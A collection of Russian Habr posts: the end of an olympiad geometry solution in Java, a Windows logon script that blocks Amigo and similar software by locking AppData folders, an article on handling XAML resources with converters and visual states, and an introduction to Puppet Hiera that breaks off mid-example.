Вот, в зависимости от знака свободного члена  прямая будет находиться с одной либо с другой стороны от заданной.
Аналогично для прямой, проходящей через *T*: 
Сделаем следующее: найдем значение произведения  и сравним его с нулем: если больше нуля — точки расположены по одну сторону от прямой, если меньше — по разные и Петя уже точно гостя своего не увидит, ну и промежуточный ноль — тоже удовлетворяет, т.к. в этом случае как минимум одна из точек лежит на заданной прямой.
Ну и напоследок приведу текст программы для трехмерного мира, т.е. для исходного условия задачи:
**src**
```
package ru.andrewn;
import static java.lang.System.out;
public class Program {
public static void main(String[] args) {
java.util.Scanner sc = new java.util.Scanner(System.in);
out.println("Введите r:");
int R = sc.nextInt();
out.println("Введите a, b и c:");
int A = sc.nextInt();
int B = sc.nextInt();
int C = sc.nextInt();
out.println("Введите положение Петра (xп, yп и zп):");
int xx = sc.nextInt();
int yy = sc.nextInt();
int zz = sc.nextInt();
out.println("Введите положение входящего (x0, y0 и z0):");
int x0 = sc.nextInt();
int y0 = sc.nextInt();
int z0 = sc.nextInt();
if ( (A*x0+B*y0+C*z0)*(A*xx+B*yy+C*zz) >= 0 ) {
int M = (B*B+C*C-A*A)*x0-2*A*B*y0-2*A*C*z0-(A*A+B*B+C*C)*xx;
int N = (A*A+C*C-B*B)*y0-2*A*B*x0-2*B*C*z0-(A*A+B*B+C*C)*yy;
int K = (A*A+B*B-C*C)*z0-2*A*C*x0-2*B*C*y0-(A*A+B*B+C*C)*zz;
if ( (A*M+B*N+C*K)*(A*M+B*N+C*K)*R*R >=
((B*N+C*K)*xx-B*M*yy-C*M*zz)*((B*N+C*K)*xx-B*M*yy-C*M*zz) +
((A*M+C*K)*yy-A*N*xx-C*N*zz)*((A*M+C*K)*yy-A*N*xx-C*N*zz) +
((A*M+B*N)*zz-A*K*xx-B*K*yy)*((A*M+B*N)*zz-A*K*xx-B*K*yy))
out.println("Петр увидит входящего");
else
out.println("Петр не увидит входящего");
}
else
out.println("Петр не увидит входящего");
sc.close();
}
}
```
Простите за кривизну кода, я далеко не программист.
Если будут желающие — могу приложить и математические выкладки для трехмерного мира.
#### Резюме
Мораль сей публикации в том, что составителям задач для олимпиад следует все же более тщательно проверять, на сколько трудоемко решение задачи и каких познаний оно требует для успешного выполнения в отведенное время.
#### Литература
[1. Корниенко, В.С. Справочный материал по математике: Пособие для самообразования [Электронный ресурс] / В.С. Корниенко; Волгогр. гос. с.-х. акад. Волгоград, 2010. 284 с.](http://rghost.ru/6L9Ks8kVc) | https://habr.com/ru/post/250763/ | null | ru | null |
# Избавляемся от Амиго, MailUpdater, Яндекс.Браузер и прочего
Вся история заключается в том, что запретить установку программ в домене средствами GPO в принципе можно, и в таком случае при установке будет запрошен логин/пароль учетной записи с нужными правами. Но вот незадача — программы вроде указанных в названии статьи (+менеджер браузеров, Unity Player и прочее) устанавливаются в папку пользователя и успешно работают в системе. Найден очень простой (статья всего на 1 страничку) способ избавиться от Амиго раз и навсегда! Кому интересно, прошу под кат.
Гугл по этой теме выдает статьи, где описан алгоритм запрета на установку программ по сертификату издателя. Способ хороший, но трудоёмкий, и сертификаты могут меняться, и вытащить их из установщика проблемно… в итоге у меня так и не получилось его реализовать. Мой алгоритм очень простой:
Мы знаем, что «любимые» всеми админами программы устанавливаются в папку c:\Users\%username%\AppData\Local (поправьте, если есть еще скрытые места). Вот и пришла мне в голову мысль о том, что если создать папки с названиями ненужных нам программ самим, и убрать им ~~нафиг~~ все ntfs права, получится, что программа просто не сможет установиться в нужную папку.
Итак, сей скрипт:
```
::удаляем папки если они уже есть
rmdir c:\Users\%username%\AppData\Local\Mail.Ru /s /q
rmdir c:\Users\%username%\AppData\Local\MailRu /s /q
rmdir c:\Users\%username%\AppData\Local\Unity /s /q
rmdir c:\Users\%username%\AppData\Local\Amigo /s /q
rmdir c:\Users\%username%\AppData\Local\Apps /s /q
::создаем папки
mkdir c:\Users\%username%\AppData\Local\Mail.Ru
mkdir c:\Users\%username%\AppData\Local\MailRu
mkdir c:\Users\%username%\AppData\Local\Unity
mkdir c:\Users\%username%\AppData\Local\Amigo
mkdir c:\Users\%username%\AppData\Local\Apps
::устанавливаем права (заменяем все существующие на новые)
echo y|cacls c:\Users\%username%\AppData\Local\Mail.Ru /C /G domain.ru\adminuser:F
echo y|cacls c:\Users\%username%\AppData\Local\MailRu /C /G domain.ru\adminuser:F
echo y|cacls c:\Users\%username%\AppData\Local\Unity /C /G domain.ru\adminuser:F
echo y|cacls c:\Users\%username%\AppData\Local\Amigo /C /G domain.ru\adminuser:F
echo y|cacls c:\Users\%username%\AppData\Local\Apps /C /G domain.ru\adminuser:F
```
Как видно, список программ в примере небольшой (Mail.Ru и MailRu — это от игр мэила и спутника, UnityPlayer, Амиго, Apps — что-то нехорошее я там увидел).
Список можно пополнять любыми замеченными программами, создающими свою папку, главное знать название такой папки. Есть еще куча гадостей, вроде Менеджера Браузеров, нихром, бромиум и прочего. Пока к нам такое не попало, не могу узнать названия папок, но всё в Ваших руках!
Дальше всё просто — ставим запуск этого файла в логон скрипты, или в назначенные задания (для пользователя при входе в систему), и наслаждаемся результатом! Работает в Win7 100%, Амиго, например, даже не выдает никаких ошибок, просто не устанавливается.
p.s. Амиго и прочая дрянь может запуститься раньше скрипта, тем самым не даст удалить свою папку. Чтобы всё было четко, нужно переписать скрипт таким образом, чтобы он сканил все папки всех пользователей компьютера на предмет «плохишей» и ставить его на выполнение при запуске компьютера. Меня переполняют эмоции, скорее хотел написать статью, так что скрипт доделывайте сами до нужного состояния.
p.s.s. Просьба не говорить, что скрипт ~~гавно~~ написан некрасиво, и всё можно сделать в цикле перебором по списку папок и пр… Он облегчен для наглядности простоты идеи в целом. | https://habr.com/ru/post/269321/ | null | ru | null |
# Правильное оперирование XAML-ресурсами
Привет, Хабр.
Около недели назад прочитал статью [«Как получить удобный доступ к XAML-ресурсам из Code-Behind»](http://habrahabr.ru/post/249105/) и был неслабо удивлен. Заранее прошу прощения у [EBCEu4](https://habrahabr.ru/users/ebceu4/), автора вышеупомянутой статьи, потому что собираюсь немного раскритиковать изложенный им подход.
Хочу заметить, что статья содержит только рекомендации по правильному использованию ресурсов и не претендует на полноту изложения. Моя статья будет состоять из трёх пунктов. В первом я приведу пример ситуации, когда вышеописанный подход оправдан, во втором — попробовать обьяснить, почему же неправильно тянуть ресурсы из XAML разметки в code-behind, в третьей — попробую дать пример кода, который помогает избежать подобных действий.
### Пункт 1. Адвокат
Давайте немного повнимательней посмотрим на указанную мной статью, и разберемся в чем же дело.
Указанный материал закончился призывом качать скрипт и использовать его в своих проектах, но автор не дал себе труда привести пример ситуации, когда такой подход оправдан (как совершенно справедливо заметили в коментариях). В пользу подобного подхода могу привести только один пример. Допустим на минутку, что вы создаете приложение, одна из страниц которого включает в себя список юзеров. Вы сделали красивый темплейт для отображения юзера, к примеру, так: фотография пользователя (с необходимым размером и скейлингом), имя/никнейм, скайп/ тел.номер, и, конечно же, статус — оффлайн или онлайн.
На компьютере проблем не увидим — благо ресурсов хватает. Но рассмотрим ситуацию, когда список включает в себя несколько тысяч юзеров, а в руках у вас low-end девайс под управлением WinPhone8/8.1. Тут, очевидно, начнутся проблемы с производительностью. ListView будет тупить при скроллинге, возникнут артефакты, не спасёт и виртуализация. И если в Universal App вы можете попробовать оптимизировать производительность при помощи ContainerContentChanging, то в Silverlight-приложении так не получится (там попросту нету такой штуки).
Вот в таких ситуациях подобный подход оправдан: можно отказаться от биндингов, портящих всю малину, и напрямую «скармливать» цвета и иные ресурсы контролам / айтемам в листе и т.д. Да и то, заглядывая наперед, при использовании MVVM и/или Dependency Injections игра может не стоить свеч, а значит, получаем bad-practice в своем проекте, что может привести к осложнением валидации конечного продукта в магазине.
### Пункт 2. Прокурор
А теперь — ~~к стенке~~ ближе к делу.
Во-первых, удивил меня сам подход. Зачем, ~~ради всего святого~~ кроме случая, приведенного в первом пункте, тянуть ресурсы из «родной» для них среды (XAML разметки) в code-behind и получать дополнительный шанс в них же и запутаться? Я лично считаю такую практику просто преступной и извращенной. И собираюсь немного «потыкать пальцем» в слабые на мой взгляд места подобного подхода.
Итак:
Если возникла внезапная необходимость тянуть ресурсы в code-behind — это, господа и дамы, костыль, который является признаком либо плохой архитектуры, либо плохо написанных контролов/ресурсов, либо и того, и другого вместе.
Представьте себе ситуацию (хотя б на минутку), что ваш проект выстрелил ~~вам в ногу~~ и вы получаете доход. Но вот проходит год и ребята из Microsoft на [ежегодном мероприятии](http://www.buildwindows.com/) обещают введение новой экосистемы или хотя бы изменение существующей. Что получаем? Правильно, высокую вероятность крэша в результате попытки вытянуть переименованный, к примеру, системный цвет или свойство margin (да хоть что угодно, в принципе). Соответственно, придется лезть опять в позабытый код и ~~брать в руки напильник~~ переделывать кучу всего. Не слишком хорошая перспектива, не так ли?
Проблема с разработкой. Если вы усердно трудитесь над чем-то напоминающим Enterprise, то, скорее всего, вы используете паттерн MVVM и Dependency Injections. В таком случае все еще веселее, потому что при MVVM вам придется сначала вытянуть ресурс в свою VM-ку, а уж потом забайндить его к контролу на вьюшке: профита в перформансе никакого, а костыль — вот он, родимый! С DI каша заваривается еще круче. Допустим, Вы, ничтоже сумняшеся, сделали из парсера XAML свой сервис, и дёргаете его на энном количестве VM. Тут свинью вам подложит сам парсер, ибо xpath — не самая быстрая вещь, к сожалению. И если у Вас обращений к подобному сервису много, то лучше вы б его не писали вообще. От себя скажу, что, попытайся я использовать подобный подход на текущем проекте (за исключением ситуации из примера), получил бы по рукам.
Проблема с тестировкой. В упомянутом случае Enterprise, 100% будут написаны тесты или, что еще лучше, вы будете использовать TDD во время разработки. Как прикажете покрыть такой парсер тестами?
### Пункт 3. А что же делать?
Ну что же, кто критикует — обязан предоставить альтернативное решение. Предлагаю Вам свой путь, который позволяет в полной мере контролировать представление Вашего продукта без лишних костылей и велосипедов. Да, кода будет больше, но головной боли меньше. Встречайте:
#### Конвертеры (Converters)
К примеру, в зависимости полученного от сервера статуса юзера (оффлайн/онлайн) вам нужно изменить соответствующий текст в элементе списка.
Код:
```
public class UserStateToStringConverter : IValueConverter
{
public object Convert(object value, Type targetType, object parameter, CultureInfo culture)
{
if (value != null && value is UserState)
{
switch ((UserState)value)
{
case UserState.Online:
return StringResources.Online;
case UserState.Offline:
return StringResources.Offline;
}
}
return null;
}
public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)
{
throw new System.NotImplementedException();
}
}
```
ConvertBack не заимплементирована просто за ненадобностью.
UserState — наш enum на 2 значения (Online/Offline), а StringResources.Online/Offline — соответствующие локализованные ресурсы (строки).
Применение такого конвертера:
Регистрируем пространство имен с конвертерами:
```
xmlns:converters="clr-namespace:MyApp.Converters"
```
Регистрируем наш конвертер для состояния пользователя:
```
```
Создадим темплейт для элемента списка пользователей.
```
...тут у нас аватар
Header="{Binding UserState, Converter={StaticResource UserStateToStringConverter}}"
...а тут что-нибудь еще, не принципиально что именно.
```
Вот, готово. Теперь мы видим, в каком состоянии находится тот или иной пользователь в нашем списке. Точно так же как и строку, конвертер может вернуть свойство типа Visibility или иное другое, вплоть до DataTemplate (хоть для темплейтов есть еще одна вкусняшка). Идем дальше, к самим XAML ресурсам.
Состояния контрола — Control States.
При помощи состояний Вы можете сделать с контролом всё, что душе угодно, при помощи всего нескольких строк кода! Допустим, что, пока пользователь активен, у элемента в списке светлый фон, а когда неактивен — становится темнее. Чтоб добиться такого, элементом списка должен быть контрол — тут DataTemplate заменится на ControlTemplate — и в ControlTemplate должны быть описаны все его (контрола) состояния.
К примеру:
```
......тут сам темплейт, к которому применяются состояния.
```
Итого, разметка контрола готова. Теперь посмотрим в зависимости от чего и как мы будем менять наши состояния. Мы должны сделать для нашего контрола свойство, к которому привяжем состояние пользователя, полученное с сервера в нашей VM-ке, и от которого оттолкнемся в дальнейшем:
```
public static readonly DependencyProperty UserStateProperty =
DependencyProperty.Register("IndentAngle", typeof(UserState), typeof(UserControl),
new PropertyMetadata(OnUserStatePropertyChanged));
```
Как видим, мы хотим чтобы изменение свойства UserStateProperty вызывало метод OnUserStatePropertyChanged. Он может выглядеть так:
```
public static void OnProgressControlPropertyChanged(DependencyObject d, DependencyPropertyChangedEventArgs e)
{
UserControl sender = d as UserControl;
if(sender != null)
{
sender.ChangeVisualState((UserState)e.NewValue);
}
}
```
ChangeVisualState метод будет выглядеть следующим образом:
```
private void ChangeVisualState(UserState newState)
{
switch (newState)
{
case UserState.Offline:
VisualStateManager.GoToState(this, "OfflineState", false);
break;
case UserState.Online:
VisualStateManager.GoToState(this, "OnlineState", false);
break;
}
}
```
Теперь наш контрол будет спокойно менять свой цвет в зависимости от полученного значения.
Сладкое — на десерт.
Кроме таких банальных вещей, как конвертеры и состояния, есть еще такая штука, как ContentControl. И уж он позволяет сделать очень многое. Хотя, в принципе, подход нагло стянут у конвертера, но значительно расширен с помощью природы самого ContentControl-а. Взгляните:
Базовый класс для DataTemplateSelector-а (ведь конкретных реализаций может быть много, не так ли?):
```
public abstract class DataTemplateSelector : ContentControl
{
protected abstract DataTemplate GetTemplate(object item, DependencyObject container);
protected override void OnContentChanged(object oldValue, object newValue)
{
base.OnContentChanged(oldValue, newValue);
ContentTemplate = GetTemplate(newValue, this);
}
}
```
И конкретный пример для нашего юзера:
```
public class UserStateTemplateControl : DataTemplateSelector
{
public DataTemplate UserOnlineTemplate { get; set; }
public DataTemplate UserOfflineTemplate { get; set; }
protected override DataTemplate GetTemplate(object item, DependencyObject container)
{
UserState state = UserState.Offline;
if (item != null && item is UserState)
{
state = (UserState)item;
}
switch (state)
{
case CategoryProgressStatus.Offline:
return UserOnlineTemplate;
case CategoryProgressStatus.Online:
return UserOfflineTemplate;
}
return null;
}
}
```
Та-а-ак, класс для своих нужд готов. Тепер поиграемся с XAML`ом.
Объявим пространство имен с нашим контролом — селектором.
```
xmlns:controls="clr-namespace:MyApp.Controls;assembly=MyApp.Controls"
```
Напишем наши дополнительные темплейты, которые будут отвечать разным состояниям контрола:
```
```
Где StatusOfflineBrush и StatusOnlineBrush — это абстрактные кисти, которые мы при надобности инициализовали би выше в XAML разметке.
И немного поменяем DataTemplate для пользователя из шага номер 1:
```
...тут все еще аватарка
...а тут остальная часть темплейта.
```
Ну что ж, жду ~~гром и молнию~~ конструктивную критику на свою голову.
Всем заранее спасибо. | https://habr.com/ru/post/249819/ | null | ru | null |
# Puppet. Часть 1: введение в Hiera
Данная статья является первой из трех статей, в которых я хочу дать свое видение проблемы управления большими инфраструктурами с помощью Puppet. Первая часть является введением в мощный инструмент организации иерархии Puppet Hiera. Данная статья ориентирована на людей, уже знакомых с Паппетом, но еще не знакомых с Хиерой. В ней я постараюсь дать базовые знания об этом мощном инструменте и о том, как он облегчает управление большим количеством серверов.
Вы наверняка знаете или представляете, что управление большой инфраструктурой с помощью [Puppet](https://puppetlabs.com/) — непростая задача. Если для десяти серверов Паппет не нужен, для пятидесяти в самый раз и код можно писать как угодно, то когда речь идет о 500+ серверов, то в этом случае приходится уже серьезно думать об оптимизации своих усилий. Плохо, что Паппет изначально, видимо, не задумывался, как решение для больших инфраструктур, по крайней мере иерархия в него изначально заложена из рук вон плохо. Стандартные [node definitions](https://docs.puppetlabs.com/puppet/latest/reference/lang_node_definitions.html) совершенно неприменимы в больших компаниях. [Node inheritance](https://docs.puppetlabs.com/puppet/latest/reference/lang_node_definitions.html#inheritance) (также как и [class inheritance](https://docs.puppetlabs.com/puppet/latest/reference/lang_classes.html#aside-when-to-inherit)) Puppetlabs не рекомендуют больше использовать вообще, вместо этого лучше загружать данные о иерархии из внешних источников, таких как [Hiera](https://docs.puppetlabs.com/hiera/latest) и [External Node Classifier](https://docs.puppetlabs.com/guides/external_nodes.html) (ENC).
Несмотря на то, что изначально концепция ENC мало чем отличается от Хиеры, тем не менее конкретные реализации ENC, такие как [Puppet Dashboard](https://docs.puppetlabs.com/dashboard/manual/1.2/bootstrapping.html) и [Foreman](http://theforeman.org/) мне в силу некоторых причин не очень нравятся. Объясню почему:
**1)** Данные о моей инфраструктуре находятся где-то в базе данных приложения. Как их оттуда доставать в случае падения приложения? Я не знаю. Могу строить догадки, но точно не знаю.
**2)** Мощные ENC из-за своей мощи плохо и сложно масштабируются. В отличие от них Хиера хранит все свои данные в текстовом виде. Текстовые данные очень легко синхронизировать через git и [r10k](https://github.com/adrienthebo/r10k) между несколькими Паппет мастерами, если возникнет такая потребность. И вообще, текстовые конфигурации — это UNIX-way, как бы старомодно это не звучало.
Опять же, я не отвергаю потенциал Puppet Dashboard и Foreman как средства мониторинга и репортинга. Красивый веб-интерфейс с графиками и картинками необходим, но необходим лишь как средство просмотра, не как средство изменения конфигурации свой инфраструктуры. И я также знаю, что Foreman много чего умеет помимо Паппета ([Red Hat Satellite Server 6](https://access.redhat.com/products/red-hat-satellite) и [Katello project](http://www.katello.org/), основанные на Foreman — яркие тому примеры). Но все же именно как место хранения конфигурации всей своей инфраструктуры Hiera мне нравится больше.
**Что же такое Hiera?** Это библиотека Ruby, которая по умолчанию включена в Паппет и помогает лучше организовать ваши данные в Паппете. Можно ли обойтись без нее? Можно. Можно все цифры и параметры писать в манифестах, но тогда они с определенной ступени развития приобретут совершенно устрашающий вид, и вам станет все сложнее вспомнить, где что хранится и что за что отвечает.
**В чем профит использования Хиеры?** Вы начинаете отделять конкретные параметры вашей инфраструктуры (uid'ы пользователей, ключи ssh, настройки dns, всевозможные централизованные файлики и т.д.) от кода Паппета, который их собственно применяет на вашей инфраструктуре. Это приводит к тому, что если вам однажды потребуется узнать, какой UID у такого-то пользователя на таком-то сервере или даже группе серверов — вы сразу будете четко знать, где хранится эта информация, а не будете судорожно листать все свои манифесты в поисках нужного пользователя и пытаться предугадать, к чему приведет изменение UID'а «вот в этом месте». Само собой, не надо ждать от Хиеры чуда. В конце концов, это всего лишь способ хранения и организации ваших данных.
**Но довольно лирики**, приступим к делу. Hiera (от hierarchy) оперирует иерархией. И я написал следующую иерархию в /etc/puppet/hiera.yaml:
```
:hierarchy:
- "%{::environment}/nodes/%{::fqdn}"
- "%{::environment}/roles"
- "%{::environment}/%{::environment}"
- common
:backends:
- yaml
:yaml:
:datadir: '/etc/puppet/hiera'
```
Запомните эту иерархию, в дальнейшем я буду ее активно использовать.
Для тех, кто не очень знаком с Хиерой, поясню. Мы задаем папку "/etc/puppet/hiera" как хранилище данных Хиеры. Файлы в этой папке обязательно должны иметь расширение **.yaml** и формат данных [YAML](http://www.yaml.org/YAML_for_ruby.html). Далее, мы задаем имена файлов, которые Хиера будет ожидать увидеть в своей папке. Поскольку Хиера вызывается из кода Паппета, то ей доступны те же самые переменные, что и Паппету, включая [факты](https://docs.puppetlabs.com/puppet/latest/reference/lang_facts_and_builtin_vars.html). Встроенным фактом каждой ноды является ее environment, что можно использовать в Хиере в виде переменной **%{::environment}**. [FQDN](https://ru.wikipedia.org/wiki/FQDN) ноды в Хиере предсказуемо выглядит как **%{::fqdn}**. Таким образом данная иерархия соответствует подобной файловой структуре:
**/etc/puppet/hiera/
|-- common.yaml
|-- production/
|----- production.yaml
|----- roles.yaml
|----- nodes/
|-------- prod-node1.yaml
|-------- prod-node2.yaml
|-- development/
|----- development.yaml
|----- roles.yaml
|----- nodes/
|-------- dev-node1.yaml
|-------- dev-node2.yaml**
Порядок следования уровней в hiera.yaml (не в файловой структуре) важен. Хиера начинает просмотр сверху вниз, а дальше все зависит от метода вызова Хиеры, которым вы воспользуетесь в Паппет манифесте. Есть [три метода](https://docs.puppetlabs.com/hiera/1/lookup_types.html), продемонстрирую их на примере. Пусть наша иерархия описана вышеописанным файлом hiera.yaml, создадим три файла следующего содержания:
**/etc/puppet/hiera/common.yaml**
```
classes:
- common_class1
- common_class2
roles:
common_role1:
key1: value1
key2: value2
common: common_value
```
**/etc/puppet/hiera/production/production.yaml**
```
classes:
- production_class1
- production_class2
roles:
production_role1:
key1: value1
key2: value2
production: production_value
```
**/etc/puppet/hiera/production/nodes/testnode.yaml**
```
classes:
- node_class1
- node_class2
roles:
node_role1:
key1: value1
key2: value2
node: node_value
```
Hiera поддерживает запросы из командной строки. На самом деле легче всего понять принцип ее работы именно из консоли. Hiera по умолчанию держит свой конфиг в /etc/hiera.yaml. Нужно сделать этот файл символической ссылкой на /etc/puppet/hiera.yaml. После этого делаем простой вызов:
>
> ```
> [root@testnode]# hiera classes
> ["common_class1", "common_class2"]
>
> ```
>
Поскольку в это запросе мы не предоставили информации об environment и fqdn Хиера берет данные из самого нижнего уровня иерархии — файла common.yaml. В квадратных скобках отображаются элементы массива. Попробуем предоставить данные об environment:
>
> ```
> [root@testnode]# hiera classes ::environment=production
> ["production_class1", "production_class2"]
> [root@testnode]# hiera classes ::environment=production ::fqdn=testnode
> ["node_class1", "node_class2"]
>
> ```
>
Данные из production.yaml находятся выше в иерархии, поэтому они более приоритетны и перезаписывают данные полученные из common.yaml. Аналогичным образом данные из testnode.yaml перезаписывают данные из production.yaml. Однако, если данных нет в вышестоящей иерархии, то логичным образом данные берутся из нижестоящих:
>
> ```
> [root@testnode]# hiera common ::environment=production
> common_value
> [root@testnode]# hiera production ::environment=production ::fqdn=testnode
> production_value
>
> ```
>
В данном случае возвращаются строки, а не массивы, согласно вышеприведенным файлам.
Данный вид запроса называется [priority lookup](https://docs.puppetlabs.com/hiera/1/lookup_types.html#priority-default). Он, как видите, всегда возвращает первое найденное значение в иерархии (с самым высоким приоритетом), а затем завершается без исследования нижележащих иерархий. В Паппете, ему соответствует стандартная функция hiera(). В нашем примере это был бы вызов hiera('classes'). Поскольку Паппет всегда вызывает Хиеру из соответствующего случаю контекста, нам нет необходимости дополнительно что-то указывать в строке запроса.
Следующий вид запроса — [Array merge](https://docs.puppetlabs.com/hiera/1/lookup_types.html#array-merge). Смотрим:
>
> ```
> [root@testnode]# hiera --array classes
> ["common_class1", "common_class2"]
> [root@testnode]# hiera --array classes ::environment=production
> ["production_class1", "production_class2", "common_class1", "common_class2"]
> [root@testnode]# hiera --array classes ::environment=production ::fqdn=testnode
> ["node_class1", "node_class2", "production_class1", "production_class2", "common_class1", "common_class2"]
>
> ```
>
Данный вид запроса проходит по всем уровням иерархии и собирает все найденные значения (строки и массивы) в один большой единый массив. В терминологии Паппета данный запрос называется hiera\_array(). Однако, данный вид запроса не способен собирать хеши. Если при своем проходе он встретит хеш, то выдаст ошибку:
>
> ```
> [root@testnode]# hiera --array roles
> /usr/share/ruby/vendor_ruby/hiera/backend/yaml_backend.rb:38:in `block in lookup': Hiera type mismatch: expected Array and got Hash (Exception)
>
> ```
>
В аналогичной ситуации priority lookup пройдет нормально и вернет хеш (в фигурных скобках):
>
> ```
> [root@testnode]# hiera roles
> {"common_role1"=>{"key1"=>"value1", "key2"=>"value2"}}
>
> ```
>
Что же делать, если нам нужно собрать хеши? Используем третий тип запроса: [Hash merge](https://docs.puppetlabs.com/hiera/1/lookup_types.html#hash-merge):
>
> ```
> [root@testnode]# hiera --hash roles
> {"common_role1"=>{"key1"=>"value1", "key2"=>"value2"}}
> [root@testnode]# hiera --hash roles ::environment=production
> {"common_role1"=>{"key1"=>"value1", "key2"=>"value2"},
> "production_role1"=>{"key1"=>"value1", "key2"=>"value2"}}
> [root@testnode]# hiera --hash roles ::environment=production ::fqdn=testnode
> {"common_role1"=>{"key1"=>"value1", "key2"=>"value2"},
> "production_role1"=>{"key1"=>"value1", "key2"=>"value2"},
> "node_role1"=>{"key1"=>"value1", "key2"=>"value2"}}
>
> ```
>
Этот запрос аналогично предыдущему проходит по всем уровням иерархии и собирает все хеши в один большой общий хеш. Несложно догадаться, что при попытке собрать им массивы или строки он вернет ошибку:
>
> ```
> [root@testnode]# hiera --hash classes
> /usr/share/ruby/vendor_ruby/hiera/backend/yaml_backend.rb:42:in `block in lookup': Hiera type mismatch: expected Hash and got Array (Exception)
>
> ```
>
В Паппете данный запрос называется hiera\_hash(). Что происходит если на разным уровнях иерархии один и тот же хеш имеет разные наборы «ключ => значение»? Например, пользователь test на уровне common имеет UID=100, а на уровне ноды testnode имеет UID=200? В этом случае по каждому конкретному ключу hash lookup будет вести себя как priority lookup, то есть возвращать более приоритетное значение. Подробнее почитать об этом можно [здесь](https://docs.puppetlabs.com/hiera/1/lookup_types.html#deep-merging-in-hiera--120).
**Ладно, круто** *([ну или нет](http://memesmix.net/media/created/mtl2g5.jpg))*, **но зачем это все нам?**
Паппет [автоматически](https://docs.puppetlabs.com/hiera/1/lookup_types.html#deep-merging-in-hiera--120) (в версиях 3.х для этого даже ничего не надо настраивать) просматривает Хиеру на предмет параметров, которые могут быть им использованы.
Для начала простой чуть-чуть модифицированный пример с [сайта Паппета](https://docs.puppetlabs.com/hiera/1/complete_example.html#making-decisions-and-expressing-them-in-hiera) (кстати в примере сейчас указаны устаревшие параметры ntp::autoupdate и ntp::enable, у меня ниже приведены их актуальные названия ). Будем мучить многострадальный модуль [puppetlabs-ntp](https://forge.puppetlabs.com/puppetlabs/ntp). Допустим мы хотим выразить в Паппете следующую конфигурацию ntp:
**/etc/ntp.conf**tinker panic 0
restrict restrict default kod nomodify notrap nopeer noquery
restrict restrict -6 default kod nomodify notrap nopeer noquery
restrict restrict 127.0.0.1
restrict restrict -6 ::1
server 0.pool.ntp.org iburst burst
server 1.pool.ntp.org iburst burst
server 2.pool.ntp.org iburst burst
server 3.pool.ntp.org iburst burst
driftfile /var/lib/ntp/drift
Для этого добавим в common.yaml в Хиере следующие строки:
>
> ```
> classes:
> - ntp
> ntp::restrict:
> - restrict default kod nomodify notrap nopeer noquery
> - restrict -6 default kod nomodify notrap nopeer noquery
> - restrict 127.0.0.1
> - restrict -6 ::1
> ntp::service_ensure: running
> ntp::service_enable: true
> ntp::servers:
> - 0.pool.ntp.org iburst burst
> - 1.pool.ntp.org iburst burst
> - 2.pool.ntp.org iburst burst
> - 3.pool.ntp.org iburst burst
>
> ```
>
Легко заметить, что здесь просто перечислены конкретные значения переменных класса ntp, которые будут переданы классу при его вызове. Эти переменные объявлены в шапке класса ntp (файл modules/ntp/manifests/init.pp). При таком способе передачи параметров классу из Хиеры обязательно нужно использовать [fully qualified](https://docs.puppetlabs.com/puppet/latest/reference/lang_variables.html#naming) имена переменных, чтобы Паппет корректно загрузил их в нужный [scope](https://docs.puppetlabs.com/puppet/latest/reference/lang_scope.html) (область видимости).
Единственное, что остается сделать — добавить в основной Паппет-манифест вашего environment (site.pp) одну строчку:
>
> ```
> hiera_include('classes')
>
> ```
>
Данная строчка, несмотря на свою простоту и краткость, производит много работы за кулисами. Во первых, Паппет проходит по всем(!) иерархиям Хиеры и подгружает все классы, объявленные во всех разделах "**classes:**" Хиеры. Затем Паппет проходит по всем fully qualified переменным в Хиере и подгружает их в область видимости соответствующего класса. Легко догадаться, что если вы уберете класс ntp из списка classes, но забудете убрать переменные этого класса в YAML файле, то Паппет выдаст ошибку наподобие «cannot find declared class ntp». Без подгруженного класса его переменные теряют всякий смысл.
Здесь я должен сказать, что слово classes (как и все остальные) в YAML файлах Хиеры не несет какого-то специального или зарезервированного смысла. Вместо classes можно писать любое другое слово, например production\_classes, my\_classes, my-%{::environment}. Да, последнее тоже верно, в именах разделов Хиеры и ключей хешей также можно использовать [переменные Паппета](https://docs.puppetlabs.com/hiera/1/puppet.html#puppet-variables-passed-to-hiera). В значениях хешей, а также в строковых переменных и массивах использовать переменные нельзя, а порой жаль!
Таким образом, мы эффективно вынесли параметры сервиса ntp из манифеста Паппета в иерархию Хиеры. Теперь в соответствии с иерархией, описанной в начале статьи, данные параметры ntp будут применены абсолютно ко всем нодам в вашей инфраструктуре. Но если вы захотите переопределить данные параметры на более высоком уровне environment или на уровне конкретного сервера — вы легко можете это сделать, указав нужные вам значения переменных на нужном вам уровне иерархии.
На самом деле данный способ автоматически импортировать данные из Хиеры в Паппет — не единственный.
**Скрытый текст**
У предыдущего метода есть один существенный недостаток: он слишком автоматический. Если на простых конфигурациях мы легко можем предсказать его поведение, то в случае большого количества хостов не всегда можно с уверенностью сказать, к чему приведет добавление еще одного класса в список импортируемых. Например, вы можете использовать модуль [puppetlabs-apache](https://forge.puppetlabs.com/puppetlabs/apache), чтобы добавить на некоторые ноды определенную конфигурацию апача. Если вы включите безобидную фразу
>
> ```
> classes:
> - apache
>
> ```
>
в файл **production.yaml**, то это приведет к установке, настройке и запуску апача на всех production хостах. Более того, модуль apache сотрет всю предыдущую конфигурацию апача, которая уже была настроена до него.
**Скрытый текст**
Вот такое у него [веселое дефолтное поведение](https://forge.puppetlabs.com/puppetlabs/apache#setup)! Так что простой 'include apache' порой может дорого обойтись, если не прочитать документацию.
Но что же делать?! Вписывать апач в YAML только нужных нам нод? Как-то это не совсем централизованно получается…
Чтобы иметь выбор, что мы хотим инклудить, а что не хотим, была создана Паппет функция [create\_resources()](https://docs.puppetlabs.com/references/latest/function.html#createresources). Ее применение прекрасно описано [здесь](http://puppetlunch.com/puppet/hiera.html).
Функция **create\_resources(resource, hash1, hash2)**: создает Паппет ресурс **resource**, передавая ему на вход **hash1** и **hash2**. Hash2 опционален, но если он указан, то его ключи и значения будут добавлены к hash1. Если один и тот же параметр указан и в hash1, и в hash2, то hash1 является более приоритетным. Паппет ресурс может быть либо из списка стандартных (см. [Puppet type reference](https://docs.puppetlabs.com/references/latest/type.html)), либо предварительно объявленным ([defined type](https://docs.puppetlabs.com/learning/definedtypes.html)) нами или в классе. Примером стандартного ресурса является ресурс user, примером объявленного — apache::vhost из модуля apache. Рассмотрим пример с апачем (здесь позволю себе скопипастить хороший пример из вышеприведенной [ссылки](http://puppetlunch.com/puppet/hiera.html)).
Допустим, мы хотим перенести в Хиеру следующую конфигурацию двух виртуальных хостов апача:
>
> ```
> apache::vhost { 'foo.example.com':
> port => '80',
> docroot => '/var/www/foo.example.com',
> docroot_owner => 'foo',
> docroot_group => 'foo',
